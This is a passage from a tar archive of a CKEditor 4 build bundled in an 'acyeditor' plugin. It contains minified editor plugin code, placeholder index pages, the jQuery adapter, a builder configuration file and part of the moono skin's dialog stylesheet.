setTimeout(function(){e.editable().focus()})});l(e);try{e.document.$.execCommand("2D-position",!1,!0)}catch(g){}(CKEDITOR.env.gecko||CKEDITOR.env.ie&&"CSS1Compat"==e.document.$.compatMode)&&this.attachListener(this,"keydown",function(a){var b=a.data.getKeystroke();if(b==33||b==34)if(CKEDITOR.env.ie)setTimeout(function(){e.getSelection().scrollIntoView()},0);else if(e.window.$.innerHeight>this.$.offsetHeight){var c=e.createRange();c[b==33?"moveToElementEditStart":"moveToElementEditEnd"](this);c.select();
a.data.preventDefault()}});CKEDITOR.env.ie&&this.attachListener(b,"blur",function(){try{b.$.selection.empty()}catch(a){}});CKEDITOR.env.iOS&&this.attachListener(b,"touchend",function(){a.focus()});c=e.document.getElementsByTag("title").getItem(0);c.data("cke-title",c.getText());CKEDITOR.env.ie&&(e.document.$.title=this._.docTitle);CKEDITOR.tools.setTimeout(function(){if(this.status=="unloaded")this.status="ready";e.fire("contentDom");if(this._.isPendingFocus){e.focus();this._.isPendingFocus=false}setTimeout(function(){e.fire("dataReady")},
0);CKEDITOR.env.ie&&setTimeout(function(){if(e.document){var a=e.document.$.body;a.runtimeStyle.marginBottom="0px";a.runtimeStyle.marginBottom=""}},1E3)},0,this)}function l(a){function e(){var c;a.editable().attachListener(a,"selectionChange",function(){var d=a.getSelection().getSelectedElement();d&&(c&&(c.detachEvent("onresizestart",b),c=null),d.$.attachEvent("onresizestart",b),c=d.$)})}function b(a){a.returnValue=!1}if(CKEDITOR.env.gecko)try{var c=a.document.$;c.execCommand("enableObjectResizing",
!1,!a.config.disableObjectResizing);c.execCommand("enableInlineTableEditing",!1,!a.config.disableNativeTableHandles)}catch(d){}else CKEDITOR.env.ie&&(11>CKEDITOR.env.version&&a.config.disableObjectResizing)&&e(a)}function m(){var a=[];if(8<=CKEDITOR.document.$.documentMode){a.push("html.CSS1Compat [contenteditable=false]{min-height:0 !important}");var e=[],b;for(b in CKEDITOR.dtd.$removeEmpty)e.push("html.CSS1Compat "+b+"[contenteditable=false]");a.push(e.join(",")+"{display:inline-block}")}else CKEDITOR.env.gecko&&
(a.push("html{height:100% !important}"),a.push("img:-moz-broken{-moz-force-broken-image-icon:1;min-width:24px;min-height:24px}"));a.push("html{cursor:text;*cursor:auto}");a.push("img,input,textarea{cursor:default}");return a.join("\n")}CKEDITOR.plugins.add("wysiwygarea",{init:function(a){a.config.fullPage&&a.addFeature({allowedContent:"html head title; style [media,type]; body (*)[id]; meta link [*]",requiredContent:"body"});a.addMode("wysiwyg",function(e){function b(b){b&&b.removeListener();a.editable(new j(a,
d.$.contentWindow.document.body));a.setData(a.getData(1),e)}var c="document.open();"+(CKEDITOR.env.ie?"("+CKEDITOR.tools.fixDomain+")();":"")+"document.close();",c=CKEDITOR.env.air?"javascript:void(0)":CKEDITOR.env.ie?"javascript:void(function(){"+encodeURIComponent(c)+"}())":"",d=CKEDITOR.dom.element.createFromHtml('<iframe src="'+c+'" frameBorder="0"></iframe>');d.setStyles({width:"100%",height:"100%"});d.addClass("cke_wysiwyg_frame cke_reset");var g=a.ui.space("contents");g.append(d);if(c=CKEDITOR.env.ie||
CKEDITOR.env.gecko)d.on("load",b);var f=a.title,h=a.fire("ariaEditorHelpLabel",{}).label;f&&(CKEDITOR.env.ie&&h&&(f+=", "+h),d.setAttribute("title",f));if(h){var f=CKEDITOR.tools.getNextId(),i=CKEDITOR.dom.element.createFromHtml('<span id="'+f+'" class="cke_voice_label">'+h+"</span>");g.append(i,1);d.setAttribute("aria-describedby",f)}a.on("beforeModeUnload",function(a){a.removeListener();i&&i.remove()});d.setAttributes({tabIndex:a.tabIndex,allowTransparency:"true"});!c&&b();CKEDITOR.env.webkit&&
(c=function(){g.setStyle("width","100%");d.hide();d.setSize("width",g.getSize("width"));g.removeStyle("width");d.show()},d.setCustomData("onResize",c),CKEDITOR.document.getWindow().on("resize",c));a.fire("ariaWidget",d)})}});CKEDITOR.editor.prototype.addContentsCss=function(a){var e=this.config,b=e.contentsCss;CKEDITOR.tools.isArray(b)||(e.contentsCss=b?[b]:[]);e.contentsCss.push(a)};var j=CKEDITOR.tools.createClass({$:function(){this.base.apply(this,arguments);this._.frameLoadedHandler=CKEDITOR.tools.addFunction(function(a){CKEDITOR.tools.setTimeout(k,
0,this,a)},this);this._.docTitle=this.getWindow().getFrame().getAttribute("title")},base:CKEDITOR.editable,proto:{setData:function(a,e){var b=this.editor;if(e)this.setHtml(a),this.fixInitialSelection(),b.fire("dataReady");else{this._.isLoadingData=!0;b._.dataStore={id:1};var c=b.config,d=c.fullPage,g=c.docType,f=CKEDITOR.tools.buildStyleHtml(m()).replace(/<style>/,'<style data-cke-temp="1">');d||(f+=CKEDITOR.tools.buildStyleHtml(b.config.contentsCss));var h=c.baseHref?'<base href="'+c.baseHref+'" data-cke-temp="1" />':
"";d&&(a=a.replace(/<!DOCTYPE[^>]*>/i,function(a){b.docType=g=a;return""}).replace(/<\?xml\s[^\?]*\?>/i,function(a){b.xmlDeclaration=a;return""}));a=b.dataProcessor.toHtml(a);d?(/<body[\s|>]/.test(a)||(a="<body>"+a),/<html[\s|>]/.test(a)||(a="<html>"+a+"</html>"),/<head[\s|>]/.test(a)?/<title[\s|>]/.test(a)||(a=a.replace(/<head[^>]*>/,"$&<title></title>")):a=a.replace(/<html[^>]*>/,"$&<head><title></title></head>"),h&&(a=a.replace(/<head[^>]*?>/,"$&"+h)),a=a.replace(/<\/head\s*>/,f+"$&"),a=g+a):a=
c.docType+'<html dir="'+c.contentsLangDirection+'" lang="'+(c.contentsLanguage||b.langCode)+'"><head><title>'+this._.docTitle+"</title>"+h+f+"</head><body"+(c.bodyId?' id="'+c.bodyId+'"':"")+(c.bodyClass?' class="'+c.bodyClass+'"':"")+">"+a+"</body></html>";CKEDITOR.env.gecko&&(a=a.replace(/<body/,'<body contenteditable="true" '),2E4>CKEDITOR.env.version&&(a=a.replace(/<body[^>]*>/,"$&<\!-- cke-content-start --\>")));c='<script id="cke_actscrpt" type="text/javascript"'+(CKEDITOR.env.ie?' defer="defer" ':
"")+">var wasLoaded=0;function onload(){if(!wasLoaded)window.parent.CKEDITOR.tools.callFunction("+this._.frameLoadedHandler+",window);wasLoaded=1;}"+(CKEDITOR.env.ie?"onload();":'document.addEventListener("DOMContentLoaded", onload, false );')+"<\/script>";CKEDITOR.env.ie&&9>CKEDITOR.env.version&&(c+='<script id="cke_shimscrpt">window.parent.CKEDITOR.tools.enableHtml5Elements(document)<\/script>');h&&(CKEDITOR.env.ie&&10>CKEDITOR.env.version)&&(c+='<script id="cke_basetagscrpt">var baseTag = document.querySelector( "base" );baseTag.href = baseTag.href;<\/script>');
a=a.replace(/(?=\s*<\/(:?head)>)/,c);this.clearCustomData();this.clearListeners();b.fire("contentDomUnload");var i=this.getDocument();try{i.write(a)}catch(j){setTimeout(function(){i.write(a)},0)}}},getData:function(a){if(a)return this.getHtml();var a=this.editor,e=a.config,b=e.fullPage,c=b&&a.docType,d=b&&a.xmlDeclaration,g=this.getDocument(),b=b?g.getDocumentElement().getOuterHtml():g.getBody().getHtml();CKEDITOR.env.gecko&&e.enterMode!=CKEDITOR.ENTER_BR&&(b=b.replace(/<br>(?=\s*(:?$|<\/body>))/,
""));b=a.dataProcessor.toDataFormat(b);d&&(b=d+"\n"+b);c&&(b=c+"\n"+b);return b},focus:function(){this._.isLoadingData?this._.isPendingFocus=!0:j.baseProto.focus.call(this)},detach:function(){var a=this.editor,e=a.document,a=a.window.getFrame();j.baseProto.detach.call(this);this.clearCustomData();e.getDocumentElement().clearCustomData();a.clearCustomData();CKEDITOR.tools.removeFunction(this._.frameLoadedHandler);(e=a.removeCustomData("onResize"))&&e.removeListener();a.remove()}}})})();
CKEDITOR.config.disableObjectResizing=!1;CKEDITOR.config.disableNativeTableHandles=!0;CKEDITOR.config.disableNativeSpellChecker=!0;CKEDITOR.config.contentsCss=CKEDITOR.getUrl("contents.css");(function(){function h(b,e,c){var i=[],g=[],a;for(a=0;a<b.styleSheets.length;a++){var d=b.styleSheets[a];if(!(d.ownerNode||d.owningElement).getAttribute("data-cke-temp")&&!(d.href&&"chrome://"==d.href.substr(0,9)))try{for(var f=d.cssRules||d.rules,d=0;d<f.length;d++)g.push(f[d].selectorText)}catch(h){}}a=g.join(" ");a=a.replace(/(,|>|\+|~)/g," ");a=a.replace(/\[[^\]]*/g,"");a=a.replace(/#[^\s]*/g,"");a=a.replace(/\:{1,2}[^\s]*/g,"");a=a.replace(/\s+/g," ");a=a.split(" ");b=[];for(g=0;g<a.length;g++)f=
a[g],c.test(f)&&!e.test(f)&&-1==CKEDITOR.tools.indexOf(b,f)&&b.push(f);for(a=0;a<b.length;a++)c=b[a].split("."),e=c[0].toLowerCase(),c=c[1],i.push({name:e+"."+c,element:e,attributes:{"class":c}});return i}CKEDITOR.plugins.add("stylesheetparser",{init:function(b){b.filter.disable();var e;b.once("stylesSet",function(c){c.cancel();b.once("contentDom",function(){b.getStylesSet(function(c){e=c.concat(h(b.document.$,b.config.stylesheetParser_skipSelectors||/(^body\.|^\.)/i,b.config.stylesheetParser_validSelectors||
/\w+\.\w+/));b.getStylesSet=function(b){if(e)return b(e)};b.fire("stylesSet",{styles:e})})})},null,null,1)}})})();(function(){function f(a,b,c){var e=CKEDITOR.document.getById(c),d;if(e&&(c=a.fire("uiSpace",{space:b,html:""}).html))a.on("uiSpace",function(a){a.data.space==b&&a.cancel()},null,null,1),d=e.append(CKEDITOR.dom.element.createFromHtml(g.output({id:a.id,name:a.name,langDir:a.lang.dir,langCode:a.langCode,space:b,spaceId:a.ui.spaceId(b),content:c}))),e.getCustomData("cke_hasshared")?d.hide():e.setCustomData("cke_hasshared",1),d.unselectable(),d.on("mousedown",function(a){a=a.data;a.getTarget().hasAscendant("a",
1)||a.preventDefault()}),a.focusManager.add(d,1),a.on("focus",function(){for(var a=0,b,c=e.getChildren();b=c.getItem(a);a++)b.type==CKEDITOR.NODE_ELEMENT&&(!b.equals(d)&&b.hasClass("cke_shared"))&&b.hide();d.show()}),a.on("destroy",function(){d.remove()})}var g=CKEDITOR.addTemplate("sharedcontainer",'<div id="cke_{name}" class="cke {id} cke_reset_all cke_chrome cke_editor_{name} cke_shared cke_detached cke_{langDir} '+CKEDITOR.env.cssClass+'" dir="{langDir}" title="'+(CKEDITOR.env.gecko?" ":"")+'" lang="{langCode}" role="presentation"><div class="cke_inner"><div id="{spaceId}" class="cke_{space}" role="presentation">{content}</div></div></div>');
CKEDITOR.plugins.add("sharedspace",{init:function(a){a.on("loaded",function(){var b=a.config.sharedSpaces;if(b)for(var c in b)f(a,c,b[c])},null,null,9)}})})();CKEDITOR.plugins.add("sourcedialog",{init:function(a){a.addCommand("sourcedialog",new CKEDITOR.dialogCommand("sourcedialog"));CKEDITOR.dialog.add("sourcedialog",this.path+"dialogs/sourcedialog.js");a.ui.addButton&&a.ui.addButton("Sourcedialog",{label:a.lang.sourcedialog.toolbar,command:"sourcedialog",toolbar:"mode,10"})}});CKEDITOR.config.plugins='basicstyles,blockquote,dialogui,dialog,clipboard,button,panelbutton,panel,floatpanel,colorbutton,colordialog,menu,contextmenu,elementspath,enterkey,entities,popup,filebrowser,floatingspace,listblock,richcombo,font,format,horizontalrule,htmlwriter,image,indent,indentlist,justify,fakeobjects,link,list,maximize,pastefromword,pastetext,removeformat,resize,sourcearea,stylescombo,tab,table,tabletools,toolbar,undo,wysiwygarea,stylesheetparser,sharedspace,sourcedialog';CKEDITOR.config.skin='moono';(function() {var setIcons = function(icons, strip) {var path = CKEDITOR.getUrl( 'plugins/' + strip );icons = icons.split( ',' );for ( var i = 0; i < icons.length; i++ )CKEDITOR.skin.icons[ icons[ i ] ] = { path: path, offset: -icons[ ++i ], bgsize : icons[ ++i ] };};if (CKEDITOR.env.hidpi) setIcons('bold,0,,italic,24,,strike,48,,subscript,72,,superscript,96,,underline,120,,blockquote,144,,copy-rtl,168,,copy,192,,cut-rtl,216,,cut,240,,paste-rtl,264,,paste,288,,bgcolor,312,,textcolor,336,,horizontalrule,360,,image,384,,indent-rtl,408,,indent,432,,outdent-rtl,456,,outdent,480,,justifyblock,504,,justifycenter,528,,justifyleft,552,,justifyright,576,,anchor-rtl,600,,anchor,624,,link,648,,unlink,672,,bulletedlist-rtl,696,,bulletedlist,720,,numberedlist-rtl,744,,numberedlist,768,,maximize,792,,pastefromword-rtl,816,,pastefromword,840,,pastetext-rtl,864,,pastetext,888,,removeformat,912,,source-rtl,936,,source,960,,table,984,,redo-rtl,1008,,redo,1032,,undo-rtl,1056,,undo,1080,,sourcedialog-rtl,1104,,sourcedialog,1128,','icons_hidpi.png');else setIcons('bold,0,auto,italic,24,auto,strike,48,auto,subscript,72,auto,superscript,96,auto,underline,120,auto,blockquote,144,auto,copy-rtl,168,auto,copy,192,auto,cut-rtl,216,auto,cut,240,auto,paste-rtl,264,auto,paste,288,auto,bgcolor,312,auto,textcolor,336,auto,horizontalrule,360,auto,image,384,auto,indent-rtl,408,auto,indent,432,auto,outdent-rtl,456,auto,outdent,480,auto,justifyblock,504,auto,justifycenter,528,auto,justifyleft,552,auto,justifyright,576,auto,anchor-rtl,600,auto,anchor,624,auto,link,648,auto,unlink,672,auto,bulletedlist-rtl,696,auto,bulletedlist,720,auto,numberedlist-rtl,744,auto,numberedlist,768,auto,maximize,792,auto,pastefromword-rtl,816,auto,pastefromword,840,auto,pastetext-rtl,864,auto,pastetext,888,auto,removeformat,912,auto,source-rtl,936,auto,source,960,auto,table,984,auto,redo-rtl,1008,auto,redo,1032,auto,undo-rtl,1056,auto,undo,1080,auto,sourcedialog-rtl,1104,auto,sourcedialog,1128,auto','icons.png');})();CKEDITOR.lang.languages={"de":1,"en":1,"es":1,"fr":1,"it":1,"nl":1,"pt-br":1,"ru":1};}());                                                                                                                                                                                                                                                                                                                                                                                                  editors/acyeditor/acyeditor/ckeditor/index.html                                                     0000705                 00000000054 15242051521 0015756 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <html><body bgcolor="#FFFFFF"></body></html>                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    editors/acyeditor/acyeditor/ckeditor/adapters/index.html                                            0000705                 00000000054 15242051521 0017561 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <html><body bgcolor="#FFFFFF"></body></html>                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    editors/acyeditor/acyeditor/ckeditor/adapters/jquery.js                                             0000705                 00000005672 15242051521 0017454 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       ﻿/*
 Copyright (c) 2003-2015, CKSource - Frederico Knabben. All rights reserved.
 For licensing, see LICENSE.md or http://ckeditor.com/license
*/
(function(a){CKEDITOR.config.jqueryOverrideVal="undefined"==typeof CKEDITOR.config.jqueryOverrideVal?!0:CKEDITOR.config.jqueryOverrideVal;"undefined"!=typeof a&&(a.extend(a.fn,{ckeditorGet:function(){var a=this.eq(0).data("ckeditorInstance");if(!a)throw"CKEditor is not initialized yet, use ckeditor() with a callback.";return a},ckeditor:function(g,d){if(!CKEDITOR.env.isCompatible)throw Error("The environment is incompatible.");if(!a.isFunction(g))var k=d,d=g,g=k;var i=[],d=d||{};this.each(function(){var b=
a(this),c=b.data("ckeditorInstance"),f=b.data("_ckeditorInstanceLock"),h=this,j=new a.Deferred;i.push(j.promise());if(c&&!f)g&&g.apply(c,[this]),j.resolve();else if(f)c.once("instanceReady",function(){setTimeout(function(){c.element?(c.element.$==h&&g&&g.apply(c,[h]),j.resolve()):setTimeout(arguments.callee,100)},0)},null,null,9999);else{if(d.autoUpdateElement||"undefined"==typeof d.autoUpdateElement&&CKEDITOR.config.autoUpdateElement)d.autoUpdateElementJquery=!0;d.autoUpdateElement=!1;b.data("_ckeditorInstanceLock",
!0);c=a(this).is("textarea")?CKEDITOR.replace(h,d):CKEDITOR.inline(h,d);b.data("ckeditorInstance",c);c.on("instanceReady",function(d){var e=d.editor;setTimeout(function(){if(e.element){d.removeListener();e.on("dataReady",function(){b.trigger("dataReady.ckeditor",[e])});e.on("setData",function(a){b.trigger("setData.ckeditor",[e,a.data])});e.on("getData",function(a){b.trigger("getData.ckeditor",[e,a.data])},999);e.on("destroy",function(){b.trigger("destroy.ckeditor",[e])});e.on("save",function(){a(h.form).submit();
return!1},null,null,20);if(e.config.autoUpdateElementJquery&&b.is("textarea")&&a(h.form).length){var c=function(){b.ckeditor(function(){e.updateElement()})};a(h.form).submit(c);a(h.form).bind("form-pre-serialize",c);b.bind("destroy.ckeditor",function(){a(h.form).unbind("submit",c);a(h.form).unbind("form-pre-serialize",c)})}e.on("destroy",function(){b.removeData("ckeditorInstance")});b.removeData("_ckeditorInstanceLock");b.trigger("instanceReady.ckeditor",[e]);g&&g.apply(e,[h]);j.resolve()}else setTimeout(arguments.callee,
100)},0)},null,null,9999)}});var f=new a.Deferred;this.promise=f.promise();a.when.apply(this,i).then(function(){f.resolve()});this.editor=this.eq(0).data("ckeditorInstance");return this}}),CKEDITOR.config.jqueryOverrideVal&&(a.fn.val=CKEDITOR.tools.override(a.fn.val,function(g){return function(d){if(arguments.length){var k=this,i=[],f=this.each(function(){var b=a(this),c=b.data("ckeditorInstance");if(b.is("textarea")&&c){var f=new a.Deferred;c.setData(d,function(){f.resolve()});i.push(f.promise());
return!0}return g.call(b,d)});if(i.length){var b=new a.Deferred;a.when.apply(this,i).done(function(){b.resolveWith(k)});return b.promise()}return f}var f=a(this).eq(0),c=f.data("ckeditorInstance");return f.is("textarea")&&c?c.getData():g.call(f)}})))})(window.jQuery);                                                                      editors/acyeditor/acyeditor/ckeditor/build-config.js                                                0000705                 00000004273 15242051521 0016670 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       ﻿/**
 * @license Copyright (c) 2003-2015, CKSource - Frederico Knabben. All rights reserved.
 * For licensing, see LICENSE.md or http://ckeditor.com/license
 */

/**
 * This file was added automatically by CKEditor builder.
 * You may re-use it at any time to build CKEditor again.
 *
 * If you would like to build CKEditor online again
 * (for example to upgrade), visit one the following links:
 *
 * (1) http://ckeditor.com/builder
 *     Visit online builder to build CKEditor from scratch.
 *
 * (2) http://ckeditor.com/builder/7153261abd4d4d6b80f49e808500483a
 *     Visit online builder to build CKEditor, starting with the same setup as before.
 *
 * (3) http://ckeditor.com/builder/download/7153261abd4d4d6b80f49e808500483a
 *     Straight download link to the latest version of CKEditor (Optimized) with the same setup as before.
 *
 * NOTE:
 *    This file is not used by CKEditor, you may remove it.
 *    Changing this file will not change your CKEditor configuration.
 */

var CKBUILDER_CONFIG = {
	skin: 'moono',
	preset: 'standard',
	ignore: [
		'.bender',
		'bender.js',
		'bender-err.log',
		'bender-out.log',
		'dev',
		'.DS_Store',
		'.editorconfig',
		'.gitattributes',
		'.gitignore',
		'gruntfile.js',
		'.idea',
		'.jscsrc',
		'.jshintignore',
		'.jshintrc',
		'.mailmap',
		'node_modules',
		'package.json',
		'README.md',
		'tests'
	],
	plugins : {
		'basicstyles' : 1,
		'blockquote' : 1,
		'clipboard' : 1,
		'colorbutton' : 1,
		'colordialog' : 1,
		'contextmenu' : 1,
		'elementspath' : 1,
		'enterkey' : 1,
		'entities' : 1,
		'filebrowser' : 1,
		'floatingspace' : 1,
		'font' : 1,
		'format' : 1,
		'horizontalrule' : 1,
		'htmlwriter' : 1,
		'image' : 1,
		'indentlist' : 1,
		'justify' : 1,
		'link' : 1,
		'list' : 1,
		'maximize' : 1,
		'pastefromword' : 1,
		'pastetext' : 1,
		'removeformat' : 1,
		'resize' : 1,
		'sharedspace' : 1,
		'sourcearea' : 1,
		'sourcedialog' : 1,
		'stylescombo' : 1,
		'stylesheetparser' : 1,
		'tab' : 1,
		'table' : 1,
		'tabletools' : 1,
		'toolbar' : 1,
		'undo' : 1,
		'wysiwygarea' : 1
	},
	languages : {
		'de' : 1,
		'en' : 1,
		'es' : 1,
		'fr' : 1,
		'it' : 1,
		'nl' : 1,
		'pt-br' : 1,
		'ru' : 1
	}
};                                                                                                                                                                                                                                                                                                                                     editors/acyeditor/acyeditor/ckeditor/skins/index.html                                               0000705                 00000000054 15242051521 0017105 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <html><body bgcolor="#FFFFFF"></body></html>                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    editors/acyeditor/acyeditor/ckeditor/skins/moono/dialog_opera.css                                   0000705                 00000037164 15242051521 0021412 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       /*
Copyright (c) 2003-2014, CKSource - Frederico Knabben. All rights reserved.
For licensing, see LICENSE.md or http://ckeditor.com/license
*/
.cke_dialog{visibility:visible}.cke_dialog_body{z-index:1;background:#eaeaea;border:1px solid #b2b2b2;border-bottom-color:#999;-moz-border-radius:3px;-webkit-border-radius:3px;border-radius:3px;-moz-box-shadow:0 0 3px rgba(0,0,0,.15);-webkit-box-shadow:0 0 3px rgba(0,0,0,.15);box-shadow:0 0 3px rgba(0,0,0,.15)}.cke_browser_gecko19 .cke_dialog_body{position:relative}.cke_dialog strong{font-weight:bold}.cke_dialog_title{font-weight:bold;font-size:13px;cursor:move;position:relative;color:#474747;text-shadow:0 1px 0 rgba(255,255,255,.75);border-bottom:1px solid #999;padding:6px 10px;-moz-border-radius:2px 2px 0 0;-webkit-border-radius:2px 2px 0 0;border-radius:2px 2px 0 0;-moz-box-shadow:0 1px 0 #fff inset;-webkit-box-shadow:0 1px 0 #fff inset;box-shadow:0 1px 0 #fff inset;background:#cfd1cf;background-image:-webkit-gradient(linear,left top,left bottom,from(#f5f5f5),to(#cfd1cf));background-image:-moz-linear-gradient(top,#f5f5f5,#cfd1cf);background-image:-webkit-linear-gradient(top,#f5f5f5,#cfd1cf);background-image:-o-linear-gradient(top,#f5f5f5,#cfd1cf);background-image:-ms-linear-gradient(top,#f5f5f5,#cfd1cf);background-image:linear-gradient(top,#f5f5f5,#cfd1cf);filter:progid:DXImageTransform.Microsoft.gradient(gradientType=0,startColorstr='#f5f5f5',endColorstr='#cfd1cf')}.cke_dialog_contents{background-color:#fff;overflow:auto;padding:15px 10px 5px 10px;margin-top:30px;border-top:1px solid #bfbfbf;-moz-border-radius:0 0 3px 3px;-webkit-border-radius:0 0 3px 3px;border-radius:0 0 3px 3px}.cke_dialog_contents_body{overflow:auto;padding:17px 10px 5px 10px;margin-top:22px}.cke_dialog_footer{text-align:right;position:relative;border:0;outline:1px solid #bfbfbf;-moz-box-shadow:0 1px 0 #fff inset;-webkit-box-shadow:0 1px 0 #fff inset;box-shadow:0 1px 0 #fff inset;-moz-border-radius:0 0 2px 2px;-webkit-border-radius:0 0 2px 2px;border-radius:0 0 2px 2px;background:#cfd1cf;background-image:-webkit-gradient(linear,left top,left bottom,from(#ebebeb),to(#cfd1cf));background-image:-moz-linear-gradient(top,#ebebeb,#cfd1cf);background-image:-webkit-linear-gradient(top,#ebebeb,#cfd1cf);background-image:-o-linear-gradient(top,#ebebeb,#cfd1cf);background-image:-ms-linear-gradient(top,#ebebeb,#cfd1cf);background-image:linear-gradient(top,#ebebeb,#cfd1cf);filter:progid:DXImageTransform.Microsoft.gradient(gradientType=0,startColorstr='#ebebeb',endColorstr='#cfd1cf')}.cke_rtl .cke_dialog_footer{text-align:left}.cke_hc .cke_dialog_footer{outline:0;border-top:1px solid #fff}.cke_dialog .cke_resizer{margin-top:22px}.cke_dialog .cke_resizer_rtl{margin-left:5px}.cke_dialog .cke_resizer_ltr{margin-right:5px}.cke_dialog_tabs{height:24px;display:inline-block;margin:5px 0 0;position:absolute;z-index:2;left:10px}.cke_rtl .cke_dialog_tabs{right:10px}a.cke_dialog_tab{height:16px;padding:4px 8px;margin-right:3px;display:inline-block;cursor:pointer;line-height:16px;outline:0;color:#595959;border:1px solid #bfbfbf;-moz-border-radius:3px 3px 0 0;-webkit-border-radius:3px 3px 0 0;border-radius:3px 3px 0 0;background:#d4d4d4;background-image:-webkit-gradient(linear,left top,left bottom,from(#fafafa),to(#ededed));background-image:-moz-linear-gradient(top,#fafafa,#ededed);background-image:-webkit-linear-gradient(top,#fafafa,#ededed);background-image:-o-linear-gradient(top,#fafafa,#ededed);background-image:-ms-linear-gradient(top,#fafafa,#ededed);background-image:linear-gradient(top,#fafafa,#ededed);filter:progid:DXImageTransform.Microsoft.gradient(gradientType=0,startColorstr='#fafafa',endColorstr='#ededed')}.cke_rtl a.cke_dialog_tab{margin-right:0;margin-left:3px}a.cke_dialog_tab:hover{background:#ebebeb;background:-moz-linear-gradient(top,#ebebeb 0,#dfdfdf 100%);background:-webkit-gradient(linear,left top,left bottom,color-stop(0%,#ebebeb),color-stop(100%,#dfdfdf));background:-webkit-linear-gradient(top,#ebebeb 0,#dfdfdf 100%);background:-o-linear-gradient(top,#ebebeb 0,#dfdfdf 100%);background:-ms-linear-gradient(top,#ebebeb 0,#dfdfdf 100%);background:linear-gradient(to bottom,#ebebeb 0,#dfdfdf 100%);filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#ebebeb',endColorstr='#dfdfdf',GradientType=0)}a.cke_dialog_tab_selected{background:#fff;color:#383838;border-bottom-color:#fff;cursor:default;filter:none}a.cke_dialog_tab_selected:hover{background:#ededed;background:-moz-linear-gradient(top,#ededed 0,#fff 100%);background:-webkit-gradient(linear,left top,left bottom,color-stop(0%,#ededed),color-stop(100%,#fff));background:-webkit-linear-gradient(top,#ededed 0,#fff 100%);background:-o-linear-gradient(top,#ededed 0,#fff 100%);background:-ms-linear-gradient(top,#ededed 0,#fff 100%);background:linear-gradient(to bottom,#ededed 0,#fff 100%);filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#ededed',endColorstr='#ffffff',GradientType=0)}.cke_hc a.cke_dialog_tab:hover,.cke_hc a.cke_dialog_tab_selected{border:3px solid;padding:2px 6px}a.cke_dialog_tab_disabled{color:#bababa;cursor:default}.cke_single_page .cke_dialog_tabs{display:none}.cke_single_page .cke_dialog_contents{padding-top:5px;margin-top:0;border-top:0}.cke_dialog_close_button{background-image:url(images/close.png);background-repeat:no-repeat;background-position:0 0;position:absolute;cursor:pointer;text-align:center;height:20px;width:20px;top:5px;z-index:5}.cke_hidpi .cke_dialog_close_button{background-image:url(images/hidpi/close.png);background-size:16px}.cke_dialog_close_button span{display:none}.cke_hc .cke_dialog_close_button span{display:inline;cursor:pointer;font-weight:bold;position:relative;top:3px}.cke_ltr .cke_dialog_close_button{right:5px}.cke_rtl .cke_dialog_close_button{left:6px}.cke_dialog_close_button{top:4px}div.cke_disabled .cke_dialog_ui_labeled_content div *{background-color:#ddd;cursor:default}.cke_dialog_ui_vbox table,.cke_dialog_ui_hbox table{margin:auto}.cke_dialog_ui_vbox_child{padding:5px 0}.cke_dialog_ui_hbox{width:100%}.cke_dialog_ui_hbox_first,.cke_dialog_ui_hbox_child,.cke_dialog_ui_hbox_last{vertical-align:top}.cke_ltr .cke_dialog_ui_hbox_first,.cke_ltr .cke_dialog_ui_hbox_child{padding-right:10px}.cke_rtl .cke_dialog_ui_hbox_first,.cke_rtl .cke_dialog_ui_hbox_child{padding-left:10px}.cke_ltr .cke_dialog_footer_buttons .cke_dialog_ui_hbox_first,.cke_ltr .cke_dialog_footer_buttons .cke_dialog_ui_hbox_child{padding-right:5px}.cke_rtl .cke_dialog_footer_buttons .cke_dialog_ui_hbox_first,.cke_rtl .cke_dialog_footer_buttons .cke_dialog_ui_hbox_child{padding-left:5px;padding-right:0}.cke_hc div.cke_dialog_ui_input_text,.cke_hc div.cke_dialog_ui_input_password,.cke_hc div.cke_dialog_ui_input_textarea,.cke_hc div.cke_dialog_ui_input_select,.cke_hc div.cke_dialog_ui_input_file{border:1px solid}textarea.cke_dialog_ui_input_textarea{overflow:auto;resize:none}input.cke_dialog_ui_input_text,input.cke_dialog_ui_input_password,textarea.cke_dialog_ui_input_textarea{background-color:#fff;border:1px solid #c9cccf;border-top-color:#aeb3b9;padding:4px 6px;outline:0;width:100%;*width:95%;-moz-box-sizing:border-box;-webkit-box-sizing:border-box;box-sizing:border-box;-moz-border-radius:3px;-webkit-border-radius:3px;border-radius:3px;-moz-box-shadow:0 1px 2px rgba(0,0,0,.15) inset;-webkit-box-shadow:0 1px 2px rgba(0,0,0,.15) inset;box-shadow:0 1px 2px rgba(0,0,0,.15) inset}input.cke_dialog_ui_input_text:hover,input.cke_dialog_ui_input_password:hover,textarea.cke_dialog_ui_input_textarea:hover{border:1px solid #aeb3b9;border-top-color:#a0a6ad}input.cke_dialog_ui_input_text:focus,input.cke_dialog_ui_input_password:focus,textarea.cke_dialog_ui_input_textarea:focus,select.cke_dialog_ui_input_select:focus{outline:0;border:1px solid #139ff7;border-top-color:#1392e9}a.cke_dialog_ui_button{display:inline-block;*display:inline;*zoom:1;padding:3px 0;margin:0;text-align:center;color:#333;vertical-align:middle;cursor:pointer;border:1px solid #b6b6b6;border-bottom-color:#999;-moz-border-radius:3px;-webkit-border-radius:3px;border-radius:3px;-moz-box-shadow:0 1px 0 rgba(255,255,255,.5),0 0 2px rgba(255,255,255,.15) inset,0 1px 0 rgba(255,255,255,.15) inset;-webkit-box-shadow:0 1px 0 rgba(255,255,255,.5),0 0 2px rgba(255,255,255,.15) inset,0 1px 0 rgba(255,255,255,.15) inset;box-shadow:0 1px 0 rgba(255,255,255,.5),0 0 2px rgba(255,255,255,.15) inset,0 1px 0 rgba(255,255,255,.15) inset;background:#e4e4e4;background-image:-webkit-gradient(linear,left top,left 